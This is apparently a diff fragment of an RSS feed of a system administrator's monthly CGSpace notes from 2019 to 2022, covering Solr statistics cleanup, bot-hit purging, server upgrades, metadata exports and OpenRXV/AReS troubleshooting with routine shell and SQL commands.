+</li> +</ul> + + + + August, 2022 + https://alanorth.github.io/cgspace-notes/2022-08/ + Mon, 01 Aug 2022 10:22:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-08/ + <h2 id="2022-08-01">2022-08-01</h2> +<ul> +<li>Our request to add <a href="https://github.com/spdx/license-list-XML/issues/1525">CC-BY-3.0-IGO to SPDX</a> was approved a few weeks ago</li> +</ul> + + + + July, 2022 + https://alanorth.github.io/cgspace-notes/2022-07/ + Sat, 02 Jul 2022 14:07:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-07/ + <h2 id="2022-07-02">2022-07-02</h2> +<ul> +<li>I learned how to use the Levenshtein functions in PostgreSQL +<ul> +<li>The thing is that there is a limit of 255 characters for these functions in PostgreSQL so you need to truncate the strings before comparing</li> +<li>Also, the trgm functions I&rsquo;ve used before are case insensitive, but Levenshtein is not, so you need to make sure to lower case both strings first</li> +</ul> +</li> +</ul> + + + + June, 2022 + https://alanorth.github.io/cgspace-notes/2022-06/ + Mon, 06 Jun 2022 09:01:36 +0300 + + https://alanorth.github.io/cgspace-notes/2022-06/ + <h2 id="2022-06-06">2022-06-06</h2> +<ul> +<li>Look at the Solr statistics on CGSpace +<ul> +<li>I see 167,000 hits from a bunch of Microsoft IPs with reverse DNS &ldquo;msnbot-&rdquo; using the Solr query <code>dns:*msnbot* AND dns:*.msn.com</code></li> +<li>I purged these first so I could see the other &ldquo;real&rdquo; IPs in the Solr facets</li> +</ul> +</li> +<li>I see 47,500 hits from 80.248.237.167 on a data center ISP in Sweden, using a normal user agent</li> +<li>I see 13,000 hits from 163.237.216.11 on a data center ISP in Australia, using a normal user agent</li> +<li>I see 7,300 hits from 208.185.238.57 from Britanica, using a normal user agent +<ul> +<li>There seem to be many more of these:</li> +</ul> +</li> +</ul> + + + + May, 2022 + https://alanorth.github.io/cgspace-notes/2022-05/ + Wed, 04 May 2022 09:13:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-05/ + <h2 id="2022-05-04">2022-05-04</h2> +<ul> +<li>I found a few more IPs making requests using the shady Chrome 44 user agent in the last few days so I will add them to the block list too: +<ul> +<li>18.207.136.176</li> +<li>185.189.36.248</li> +<li>50.118.223.78</li> +<li>52.70.76.123</li> +<li>3.236.10.11</li> +</ul> +</li> +<li>Looking at the Solr statistics for 2022-04 +<ul> +<li>52.191.137.59 is Microsoft, but they are using a normal user agent and making tens of thousands of requests</li> +<li>64.39.98.62 is owned by Qualys, and all their requests are probing for /etc/passwd etc</li> +<li>185.192.69.15 is in the Netherlands and is using a normal user agent, but making excessive automated HTTP requests to paths forbidden in robots.txt</li> +<li>157.55.39.159 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>52.233.67.176 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>157.55.39.144 is owned by Microsoft and uses a normal user agent, but making excessive automated HTTP requests</li> +<li>207.46.13.177 is owned by Microsoft and identifies as bingbot so I don&rsquo;t know why its requests were logged in Solr</li> +<li>If I query Solr for <code>time:2022-04* AND dns:*msnbot* AND dns:*.msn.com.</code> I see a handful of IPs that made 41,000 requests</li> +</ul> +</li> +<li>I purged 93,974 hits from these IPs using my <code>check-spider-ip-hits.sh</code> script</li> +</ul> + + + + April, 2022 + https://alanorth.github.io/cgspace-notes/2022-04/ + Fri, 01 Apr 2022 10:53:39 +0300 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-04-01 I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday The Discovery indexing took this long: real 334m33.625s user 227m51.331s sys 3m43.037s 2022-04-04 Start a full harvest on AReS Help Marianne with submit/approve access on a new collection on CGSpace Go back in Gaia&rsquo;s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc) Looking at the Solr statistics for 2022-03 on CGSpace I see 54. + + + + March, 2022 + https://alanorth.github.io/cgspace-notes/2022-03/ + Tue, 01 Mar 2022 16:46:54 +0300 + + https://alanorth.github.io/cgspace-notes/2022-03/ + <h2 id="2022-03-01">2022-03-01</h2> +<ul> +<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4.csv +</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">&#39;fuuu&#39;</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv +</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv &gt; /tmp/tac4-filenames.csv +</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv &gt; /tmp/2022-03-01-tac-batch4-701-980-filenames.csv +</span></span></code></pre></div> + + + + February, 2022 + https://alanorth.github.io/cgspace-notes/2022-02/ + Tue, 01 Feb 2022 14:06:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-02/ + <h2 id="2022-02-01">2022-02-01</h2> +<ul> +<li>Meeting with Peter and Abenet about CGSpace in the One CGIAR +<ul> +<li>We agreed to buy $5,000 worth of credits from Atmire for future upgrades</li> +<li>We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization</li> +<li>We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one</li> +<li>We agreed to try to do more alignment of affiliations/funders with ROR</li> +</ul> +</li> +</ul> + + + + January, 2022 + https://alanorth.github.io/cgspace-notes/2022-01/ + Sat, 01 Jan 2022 15:20:54 +0200 + + https://alanorth.github.io/cgspace-notes/2022-01/ + <h2 id="2022-01-01">2022-01-01</h2> +<ul> +<li>Start a full harvest on AReS</li> +</ul> + + + + December, 2021 + https://alanorth.github.io/cgspace-notes/2021-12/ + Wed, 01 Dec 2021 16:07:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-12/ + <h2 id="2021-12-01">2021-12-01</h2> +<ul> +<li>Atmire merged some changes I had submitted to the COUNTER-Robots project</li> +<li>I updated our local spider user agents and then re-ran the list with my <code>check-spider-hits.sh</code> script on CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./ilri/check-spider-hits.sh -f /tmp/agents -p +</span></span><span style="display:flex;"><span>Purging 1989 hits from The Knowledge AI in statistics +</span></span><span style="display:flex;"><span>Purging 1235 hits from MaCoCu in statistics +</span></span><span style="display:flex;"><span>Purging 455 hits from WhatsApp in statistics +</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"> +</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 3679 +</span></span></code></pre></div> + + + + November, 2021 + https://alanorth.github.io/cgspace-notes/2021-11/ + Tue, 02 Nov 2021 22:27:07 +0200 + + https://alanorth.github.io/cgspace-notes/2021-11/ + <h2 id="2021-11-02">2021-11-02</h2> +<ul> +<li>I experimented with manually sharding the Solr statistics on DSpace Test</li> +<li>First I exported all the 2019 stats from CGSpace:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ./run.sh -s http://localhost:8081/solr/statistics -f <span style="color:#e6db74">&#39;time:2019-*&#39;</span> -a export -o statistics-2019.json -k uid +</span></span><span style="display:flex;"><span>$ zstd statistics-2019.json +</span></span></code></pre></div> + + + + October, 2021 + https://alanorth.github.io/cgspace-notes/2021-10/ + Fri, 01 Oct 2021 11:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-10/ + <h2 id="2021-10-01">2021-10-01</h2> +<ul> +<li>Export all affiliations on CGSpace and run them against the latest RoR data dump:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT text_value as &#34;cg.contributor.affiliation&#34;, count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2021-10-01-affiliations.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>$ csvcut -c <span style="color:#ae81ff">1</span> /tmp/2021-10-01-affiliations.csv | sed 1d &gt; /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>$ ./ilri/ror-lookup.py -i /tmp/2021-10-01-affiliations.txt -r 2021-09-23-ror-data.json -o /tmp/2021-10-01-affili +</span></span><span style="display:flex;"><span>ations-matching.csv +</span></span><span style="display:flex;"><span>$ csvgrep -c matched -m true /tmp/2021-10-01-affiliations-matching.csv | sed 1d | wc -l +</span></span><span style="display:flex;"><span>1879 +</span></span><span style="display:flex;"><span>$ wc -l /tmp/2021-10-01-affiliations.txt +</span></span><span style="display:flex;"><span>7100 /tmp/2021-10-01-affiliations.txt +</span></span></code></pre></div><ul> +<li>So we have 1879/7100 (26.46%) matching already</li> +</ul> + + + + September, 2021 + https://alanorth.github.io/cgspace-notes/2021-09/ + Wed, 01 Sep 2021 09:14:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-09/ + <h2 id="2021-09-02">2021-09-02</h2> +<ul> +<li>Troubleshooting the missing Altmetric scores on AReS +<ul> +<li>Turns out that I didn&rsquo;t actually fix them last month because the check for <code>content.altmetric</code> still exists, and I can&rsquo;t access the DOIs using <code>_h.source.DOI</code> for some reason</li> +<li>I can access all other kinds of item metadata using the Elasticsearch label, but not DOI!!!</li> +<li>I will change <code>DOI</code> to <code>tomato</code> in the repository setup and start a re-harvest&hellip; I need to see if this is some kind of reserved word or something&hellip;</li> +<li>Even as <code>tomato</code> I can&rsquo;t access that field as <code>_h.source.tomato</code> in Angular, but it does work as a filter source&hellip; sigh</li> +</ul> +</li> +<li>I&rsquo;m having problems using the OpenRXV API +<ul> +<li>The syntax Moayad showed me last month doesn&rsquo;t seem to honor the search query properly&hellip;</li> +</ul> +</li> +</ul> + + + + August, 2021 + https://alanorth.github.io/cgspace-notes/2021-08/ + Sun, 01 Aug 2021 09:01:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-08/ + <h2 id="2021-08-01">2021-08-01</h2> +<ul> +<li>Update Docker images on AReS server (linode20) and reboot the server:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># docker images | grep -v ^REPO | sed <span style="color:#e6db74">&#39;s/ \+/:/g&#39;</span> | cut -d: -f1,2 | grep -v none | xargs -L1 docker pull +</span></span></code></pre></div><ul> +<li>I decided to upgrade linode20 from Ubuntu 18.04 to 20.04</li> +</ul> + + + + July, 2021 + https://alanorth.github.io/cgspace-notes/2021-07/ + Thu, 01 Jul 2021 08:53:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-07/ + <h2 id="2021-07-01">2021-07-01</h2> +<ul> +<li>Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVOC for Enrico:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>localhost/dspace63= &gt; \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER; +</span></span><span style="display:flex;"><span>COPY 20994 +</span></span></code></pre></div> + + + + June, 2021 + https://alanorth.github.io/cgspace-notes/2021-06/ + Tue, 01 Jun 2021 10:51:07 +0300 + + https://alanorth.github.io/cgspace-notes/2021-06/ + <h2 id="2021-06-01">2021-06-01</h2> +<ul> +<li>IWMI notified me that AReS was down with an HTTP 502 error +<ul> +<li>Looking at UptimeRobot I see it has been down for 33 hours, but I never got a notification</li> +<li>I don&rsquo;t see anything in the Elasticsearch container logs, or the systemd journal on the host, but I notice that the <code>angular_nginx</code> container isn&rsquo;t running</li> +<li>I simply started it and AReS was running again:</li> +</ul> +</li> +</ul> + + + + May, 2021 + https://alanorth.github.io/cgspace-notes/2021-05/ + Sun, 02 May 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-05/ + <h2 id="2021-05-01">2021-05-01</h2> +<ul> +<li>I looked at the top user agents and IPs in the Solr statistics for last month and I see these user agents: +<ul> +<li>&ldquo;RI/1.0&rdquo;, 1337</li> +<li>&ldquo;Microsoft Office Word 2014&rdquo;, 941</li> +</ul> +</li> +<li>I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one&hellip; as that&rsquo;s an actual user&hellip;</li> +</ul> + + + + April, 2021 + https://alanorth.github.io/cgspace-notes/2021-04/ + Thu, 01 Apr 2021 09:50:54 +0300 + + https://alanorth.github.io/cgspace-notes/2021-04/ + <h2 id="2021-04-01">2021-04-01</h2> +<ul> +<li>I wrote a script to query Sherpa&rsquo;s API for our ISSNs: <code>sherpa-issn-lookup.py</code> +<ul> +<li>I&rsquo;m curious to see how the results compare with the results from Crossref yesterday</li> +</ul> +</li> +<li>AReS Explorer was down since this morning, I didn&rsquo;t see anything in the systemd journal +<ul> +<li>I simply took everything down with docker-compose and then back up, and then it was OK</li> +<li>Perhaps one of the containers crashed, I should have looked closer but I was in a hurry</li> +</ul> +</li> +</ul> + + + + March, 2021 + https://alanorth.github.io/cgspace-notes/2021-03/ + Mon, 01 Mar 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-03/ + <h2 id="2021-03-01">2021-03-01</h2> +<ul> +<li>Discuss some OpenRXV issues with Abdullah from CodeObia +<ul> +<li>He&rsquo;s trying to work on the DSpace 6+ metadata schema autoimport using the DSpace 6+ REST API</li> +<li>Also, we found some issues building and running OpenRXV currently due to ecosystem shift in the Node.js dependencies</li> +</ul> +</li> +</ul> + + + + CGSpace CG Core v2 Migration + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + Sun, 21 Feb 2021 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + <p>Changes to CGSpace metadata fields to align more with DC, QDC, and DCTERMS as well as CG Core v2. Implemented on 2021-02-21.</p> +<p>With reference to <a href="https://agriculturalsemantics.github.io/cg-core/cgcore.html">CG Core v2 draft standard</a> by Marie-Angélique as well as <a href="http://www.dublincore.org/specifications/dublin-core/dcmi-terms/">DCMI DCTERMS</a>.</p> + + + + February, 2021 + https://alanorth.github.io/cgspace-notes/2021-02/ + Mon, 01 Feb 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-02/ + <h2 id="2021-02-01">2021-02-01</h2> +<ul> +<li>Abenet said that CIP found more duplicate records in their export from AReS +<ul> +<li>I re-opened <a href="https://github.com/ilri/OpenRXV/issues/67">the issue</a> on OpenRXV where we had previously noticed this</li> +<li>The shared link where the duplicates are is here: <a href="https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6">https://cgspace.cgiar.org/explorer/shared/heEOz3YBnXdK69bR2ra6</a></li> +</ul> +</li> +<li>I had a call with CodeObia to discuss the work on OpenRXV</li> +<li>Check the results of the AReS harvesting from last night:</li> +</ul> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -s <span style="color:#e6db74">&#39;http://localhost:9200/openrxv-items-temp/_count?q=*&amp;pretty&#39;</span> +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> &#34;count&#34; : 100875, +</span></span><span style="display:flex;"><span> &#34;_shards&#34; : { +</span></span><span style="display:flex;"><span> &#34;total&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;successful&#34; : 1, +</span></span><span style="display:flex;"><span> &#34;skipped&#34; : 0, +</span></span><span style="display:flex;"><span> &#34;failed&#34; : 0 +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></div> + + + + January, 2021 + https://alanorth.github.io/cgspace-notes/2021-01/ + Sun, 03 Jan 2021 10:13:54 +0200 + + https://alanorth.github.io/cgspace-notes/2021-01/ + <h2 id="2021-01-03">2021-01-03</h2> +<ul> +<li>Peter notified me that some filters on AReS were broken again +<ul> +<li>It&rsquo;s the same issue with the field names getting <code>.keyword</code> appended to the end that I already <a href="https://github.com/ilri/OpenRXV/issues/66">filed an issue on OpenRXV about last month</a></li> +<li>I fixed the broken filters (careful to not edit any others, lest they break too!)</li> +</ul> +</li> +<li>Fix an issue with start page number for the DSpace REST API and statistics API in OpenRXV +<ul> +<li>The start page had been &ldquo;1&rdquo; in the UI, but in the backend they were doing some gymnastics to adjust to the zero-based offset/limit/page of the DSpace REST API and the statistics API</li> +<li>I adjusted it to default to 0 and added a note to the admin screen</li> +<li>I realized that this issue was actually causing the first page of 100 statistics to be missing&hellip;</li> +<li>For example, <a href="https://cgspace.cgiar.org/handle/10568/66839">this item</a> has 51 views on CGSpace, but 0 on AReS</li> +</ul> +</li> +</ul> + + + + December, 2020 + https://alanorth.github.io/cgspace-notes/2020-12/ + Tue, 01 Dec 2020 11:32:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-12/ + <h2 id="2020-12-01">2020-12-01</h2> +<ul> +<li>Atmire responded about the issue with duplicate data in our Solr statistics +<ul> +<li>They noticed that some records in the statistics-2015 core haven&rsquo;t been migrated with the AtomicStatisticsUpdateCLI tool yet and assumed that I haven&rsquo;t migrated any of the records yet</li> +<li>That&rsquo;s strange, as I checked all ten cores and 2015 is the only one with some unmigrated documents, as according to the <code>cua_version</code> field</li> +<li>I started processing those (about 411,000 records):</li> +</ul> +</li> +</ul> + + + + CGSpace DSpace 6 Upgrade + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + Sun, 15 Nov 2020 13:27:35 +0200 + + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + <p>Notes about the DSpace 6 upgrade on CGSpace in 2020-11.</p> + + + + November, 2020 + https://alanorth.github.io/cgspace-notes/2020-11/ + Sun, 01 Nov 2020 13:11:54 +0200 + + https://alanorth.github.io/cgspace-notes/2020-11/ + <h2 id="2020-11-01">2020-11-01</h2> +<ul> +<li>Continue with processing the statistics-2019 Solr core with the AtomicStatisticsUpdateCLI tool on DSpace Test +<ul> +<li>So far we&rsquo;ve spent at least fifty hours to process the statistics and statistics-2019 core&hellip; wow.</li> +</ul> +</li> +</ul> + + + + October, 2020 + https://alanorth.github.io/cgspace-notes/2020-10/ + Tue, 06 Oct 2020 16:55:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-10/ + <h2 id="2020-10-06">2020-10-06</h2> +<ul> +<li>Add tests for the new <code>/items</code> POST handlers to the DSpace 6.x branch of my <a href="https://github.com/ilri/dspace-statistics-api/tree/v6_x">dspace-statistics-api</a> +<ul> +<li>It took a bit of extra work because I had to learn how to mock the responses for when Solr is not available</li> +<li>Tag and release version 1.3.0 on GitHub: <a href="https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0">https://github.com/ilri/dspace-statistics-api/releases/tag/v1.3.0</a></li> +</ul> +</li> +<li>Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +<ul> +<li>During the FlywayDB migration I got an error:</li> +</ul> +</li> +</ul> + + + + September, 2020 + https://alanorth.github.io/cgspace-notes/2020-09/ + Wed, 02 Sep 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-09/ + <h2 id="2020-09-02">2020-09-02</h2> +<ul> +<li>Replace Marissa van Epp for Rhys Bucknall in the CCAFS groups on CGSpace because Marissa no longer works at CCAFS</li> +<li>The AReS Explorer hasn&rsquo;t updated its index since 2020-08-22 when I last forced it +<ul> +<li>I restarted it again now and told Moayad that the automatic indexing isn&rsquo;t working</li> +</ul> +</li> +<li>Add <code>Alliance of Bioversity International and CIAT</code> to affiliations on CGSpace</li> +<li>Abenet told me that the general search text on AReS doesn&rsquo;t get reset when you use the &ldquo;Reset Filters&rdquo; button +<ul> +<li>I filed a bug on OpenRXV: <a href="https://github.com/ilri/OpenRXV/issues/39">https://github.com/ilri/OpenRXV/issues/39</a></li> +</ul> +</li> +<li>I filed an issue on OpenRXV to make some minor edits to the admin UI: <a href="https://github.com/ilri/OpenRXV/issues/40">https://github.com/ilri/OpenRXV/issues/40</a></li> +</ul> + + + + August, 2020 + https://alanorth.github.io/cgspace-notes/2020-08/ + Sun, 02 Aug 2020 15:35:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-08/ + <h2 id="2020-08-02">2020-08-02</h2> +<ul> +<li>I spent a few days working on a Java-based curation task to tag items with ISO 3166-1 Alpha2 country codes based on their <code>cg.coverage.country</code> text values +<ul> +<li>It looks up the names in ISO 3166-1 first, and then in our CGSpace countries mapping (which has five or so of Peter&rsquo;s preferred &ldquo;display&rdquo; country names)</li> +<li>It implements a &ldquo;force&rdquo; mode too that will clear existing country codes and re-tag everything</li> +<li>It is class based so I can easily add support for other vocabularies, and the technique could even be used for organizations with mappings to ROR and Clarisa&hellip;</li> +</ul> +</li> +</ul> + + + + July, 2020 + https://alanorth.github.io/cgspace-notes/2020-07/ + Wed, 01 Jul 2020 10:53:54 +0300 + + https://alanorth.github.io/cgspace-notes/2020-07/ + <h2 id="2020-07-01">2020-07-01</h2> +<ul> +<li>A few users noticed that CGSpace wasn&rsquo;t loading items today, item pages seem blank +<ul> +<li>I looked at the PostgreSQL locks but they don&rsquo;t seem unusual</li> +<li>I guess this is the same &ldquo;blank item page&rdquo; issue that we had a few times in 2019 that we never solved</li> +<li>I restarted Tomcat and PostgreSQL and the issue was gone</li> +</ul> +</li> +<li>Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the <code>5_x-prod</code> branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter&rsquo;s request</li> +</ul> + + + + June, 2020 + https://alanorth.github.io/cgspace-notes/2020-06/ + Mon, 01 Jun 2020 13:55:39 +0300 + + https://alanorth.github.io/cgspace-notes/2020-06/ + <h2 id="2020-06-01">2020-06-01</h2> +<ul> +<li>I tried to run the <code>AtomicStatisticsUpdateCLI</code> CUA migration script on DSpace Test (linode26) again and it is still going very slowly and has tons of errors like I noticed yesterday +<ul> +<li>I sent Atmire the dspace.log from today and told them to log into the server to debug the process</li> +</ul> +</li> +<li>In other news, I checked the statistics API on DSpace 6 and it&rsquo;s working</li> +<li>I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error:</li> +</ul> + + + + May, 2020 + https://alanorth.github.io/cgspace-notes/2020-05/ + Sat, 02 May 2020 09:52:04 +0300 + + https://alanorth.github.io/cgspace-notes/2020-05/ + <h2 id="2020-05-02">2020-05-02</h2> +<ul> +<li>Peter said that CTA is having problems submitting an item to CGSpace +<ul> +<li>Looking at the PostgreSQL stats it seems to be the same issue that Tezira was having last week, as I see the number of connections in &lsquo;idle in transaction&rsquo; and &lsquo;waiting for lock&rsquo; state are increasing again</li> +<li>I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2.11, and there were some bugs related to transactions fixed in 42.2.12 (which I had updated in the Ansible playbooks, but not deployed yet)</li> +</ul> +</li> +</ul> + + + + April, 2020 + https://alanorth.github.io/cgspace-notes/2020-04/ + Thu, 02 Apr 2020 10:53:24 +0300 + + https://alanorth.github.io/cgspace-notes/2020-04/ + <h2 id="2020-04-02">2020-04-02</h2> +<ul> +<li>Maria asked me to update Charles Staver&rsquo;s ORCID iD in the submission template and on CGSpace, as his name was lower case before, and now he has corrected it +<ul> +<li>I updated the fifty-eight existing items on CGSpace</li> +</ul> +</li> +<li>Looking into the items Udana had asked about last week that were missing Altmetric donuts: +<ul> +<li><a href="https://hdl.handle.net/10568/103225">The first</a> is still missing its DOI, so I added it and <a href="https://twitter.com/mralanorth/status/1245632619661766657">tweeted its handle</a> (after a few hours there was a donut with score 222)</li> +<li><a href="https://hdl.handle.net/10568/106899">The second item</a> now has a donut with score 2 since I <a href="https://twitter.com/mralanorth/status/1243158045540134913">tweeted its handle</a> last week</li> +<li><a href="https://hdl.handle.net/10568/107258">The third item</a> now has a donut with score 1 since I <a href="https://twitter.com/mralanorth/status/1243158786392625153">tweeted it</a> last week</li> +</ul> +</li> +<li>On the same note, the <a href="https://hdl.handle.net/10568/106573">one item</a> Abenet pointed out last week now has a donut with score of 104 after I <a href="https://twitter.com/mralanorth/status/1243163710241345536">tweeted it</a> last week</li> +</ul> + + + + March, 2020 + https://alanorth.github.io/cgspace-notes/2020-03/ + Mon, 02 Mar 2020 12:31:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-03/ + <h2 id="2020-03-02">2020-03-02</h2> +<ul> +<li>Update <a href="https://github.com/ilri/dspace-statistics-api">dspace-statistics-api</a> for DSpace 6+ UUIDs +<ul> +<li>Tag version 1.2.0 on GitHub</li> +</ul> +</li> +<li>Test migrating legacy Solr statistics to UUIDs with the as-of-yet unreleased <a href="https://github.com/DSpace/DSpace/commit/184f2b2153479045fba6239342c63e7f8564b8b6#diff-0350ce2e13b28d5d61252b7a8f50a059">SolrUpgradePre6xStatistics.java</a> +<ul> +<li>You need to download this into the DSpace 6.x source and compile it</li> +</ul> +</li> +</ul> + + + + February, 2020 + https://alanorth.github.io/cgspace-notes/2020-02/ + Sun, 02 Feb 2020 11:56:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-02/ + <h2 id="2020-02-02">2020-02-02</h2> +<ul> +<li>Continue working on porting CGSpace&rsquo;s DSpace 5 code to DSpace 6.3 that I started yesterday +<ul> +<li>Sign up for an account with MaxMind so I can get the GeoLite2-City.mmdb database</li> +<li>I still need to wire up the API credentials and cron job into the Ansible infrastructure playbooks</li> +<li>Fix some minor issues in the config and XMLUI themes, like removing Atmire stuff</li> +<li>The code finally builds and runs with a fresh install</li> +</ul> +</li> +</ul> + + + + January, 2020 + https://alanorth.github.io/cgspace-notes/2020-01/ + Mon, 06 Jan 2020 10:48:30 +0200 + + https://alanorth.github.io/cgspace-notes/2020-01/ + <h2 id="2020-01-06">2020-01-06</h2> +<ul> +<li>Open <a href="https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=706">a ticket</a> with Atmire to request a quote for the upgrade to DSpace 6</li> +<li>Last week Altmetric responded about the <a href="https://hdl.handle.net/10568/97087">item</a> that had a lower score than than its DOI +<ul> +<li>The score is now linked to the DOI</li> +<li>Another <a href="https://hdl.handle.net/10568/91278">item</a> that had the same problem in 2019 has now also linked to the score for its DOI</li> +<li>Another <a href="https://hdl.handle.net/10568/81236">item</a> that had the same problem in 2019 has also been fixed</li> +</ul> +</li> +</ul> +<h2 id="2020-01-07">2020-01-07</h2> +<ul> +<li>Peter Ballantyne highlighted one more WLE <a href="https://hdl.handle.net/10568/101286">item</a> that is missing the Altmetric score that its DOI has +<ul> +<li>The DOI has a score of 259, but the Handle has no score at all</li> +<li>I <a href="https://twitter.com/mralanorth/status/1214471427157626881">tweeted</a> the CGSpace repository link</li> +</ul> +</li> +</ul> + + + + December, 2019 + https://alanorth.github.io/cgspace-notes/2019-12/ + Sun, 01 Dec 2019 11:22:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-12/ + <h2 id="2019-12-01">2019-12-01</h2> +<ul> +<li>Upgrade CGSpace (linode18) to Ubuntu 18.04: +<ul> +<li>Check any packages that have residual configs and purge them:</li> +<li><!-- raw HTML omitted --># dpkg -l | grep -E &lsquo;^rc&rsquo; | awk &lsquo;{print $2}&rsquo; | xargs dpkg -P<!-- raw HTML omitted --></li> +<li>Make sure all packages are up to date and the package manager is up to date, then reboot:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># apt update &amp;&amp; apt full-upgrade +# apt-get autoremove &amp;&amp; apt-get autoclean +# dpkg -C +# reboot +</code></pre> + + + + November, 2019 + https://alanorth.github.io/cgspace-notes/2019-11/ + Mon, 04 Nov 2019 12:20:30 +0200 + + https://alanorth.github.io/cgspace-notes/2019-11/ + <h2 id="2019-11-04">2019-11-04</h2> +<ul> +<li>Peter noticed that there were 5.2 million hits on CGSpace in 2019-10 according to the Atmire usage statistics +<ul> +<li>I looked in the nginx logs and see 4.6 million in the access logs, and 1.2 million in the API logs:</li> +</ul> +</li> +</ul> +<pre tabindex="0"><code># zcat --force /var/log/nginx/*access.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +4671942 +# zcat --force /var/log/nginx/{rest,oai,statistics}.log.*.gz | grep -cE &#34;[0-9]{1,2}/Oct/2019&#34; +1277694 +</code></pre><ul> +<li>So 4.6 million from XMLUI and another 1.2 million from API requests</li> +<li>Let&rsquo;s see how many of the REST API requests were for bitstreams (because they are counted in Solr stats):</li> +</ul> +<pre tabindex="0"><code># 